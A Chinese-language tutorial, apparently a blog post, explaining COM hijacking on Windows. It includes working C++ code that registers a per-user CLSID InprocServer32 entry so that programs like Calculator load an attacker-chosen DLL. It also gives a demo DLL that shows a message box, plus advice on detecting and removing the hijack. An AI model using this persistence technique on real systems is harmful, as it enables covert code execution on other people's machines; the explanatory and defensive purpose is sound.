代碼及原理介紹
COM是Component Object Model(組件對象模型)的縮寫,COM組件由DLL和EXE形式發佈的可執行代碼所組成。每個COM組件都有一個CLSID,這個CLSID是註冊的時候寫進註冊表的,可以把這個CLSID理解爲這個組件最終可以實例化的子類的一個ID。這樣就可以通過查詢註冊表中的CLSID來找到COM組件所在的dll的名稱。所以要想COM劫持,必須精心挑選CLSID,儘量選擇應用範圍廣的CLSID。這裏,我們選擇的CLSID爲:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},來實現對CAccPropServicesClass 和 MMDeviceEnumerator的劫持。系統很多正常程序啓動時需要調用這兩個實例。例如計算器。
Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}
接下來就是修改註冊表,在指定路徑添加文件,具體代碼如下:
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;
int main(int argc, char* argv[])
{
string type=argv[1];
if (argc > 1) {
HKEY hKey;
DWORD dwDisposition;
//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}
char system1[] = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
char system2[] = "Apartment";
string defaultPath = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";
string szSaveName = "C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\qianxiao996.dll";
if ("-go" == type)
{
//string folderPath = defaultPath + "\\testFolder";
string command;
command = "mkdir -p " + defaultPath;
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("創建註冊表失敗!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))
{
printf("設置DLL文件失敗!");
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))
{
printf("設置ThreadingModel失敗!");
return 0;
}
::MessageBoxA(NULL, "comHijacking OK!", "OK", MB_OK);
}
if ("-down" == type)
{
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
printf("創建註冊表失敗!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))
{
printf("移除DLL文件失敗!");
return 0;
}
if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel"))
{
printf("移除ThreadingModel失敗!");
return 0;
}
remove(szSaveName.c_str());
remove(defaultPath.c_str());
::MessageBoxA(NULL, "Delete comHijacking OK!", "OK", MB_OK);
}
}
//system("pause");
else
{
printf("Usage:\n comHijacking.exe -go 進行COM劫持\n comHijacking.exe -down 移除COM劫持");
}
return 0;
}
別問我爲什麼不寫在兩個函數裏,因爲我不會。
DLL文件代碼(這裏的DLL代碼就是用的上次的那個DLL文件)
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBoxA(0, "hello qianxiao996", "AppCert", 0);
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
運行效果圖
運行生成的EXE文件(管理員運行),注意-go是安裝劫持,-down是移除劫持.
運行後,會生成以下目錄:
C:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}
然後將自己寫好的DLL文件放入當前目錄中
會生成以下注冊表項
運行計算器,調用qianxiao996.dll 彈出對話框:
移除COM劫持
檢查及清除方法
由於COM對象是操作系統和已安裝軟件的合法部分,因此直接阻止對COM對象的更改可能會對正常的功能產生副作用。相比之下,使用白名單識別潛在的病毒會更有效。
現有COM對象的註冊表項可能很少發生更改。當具有已知路徑和二進制的條目被替換或更改爲異常值以指向新位置中的未知二進制時,它可能是可疑的行爲,應該進行調查。同樣,如果收集和分析程序DLL加載,任何與COM對象註冊表修改相關的異常DLL加載都可能表明已執行COM劫持。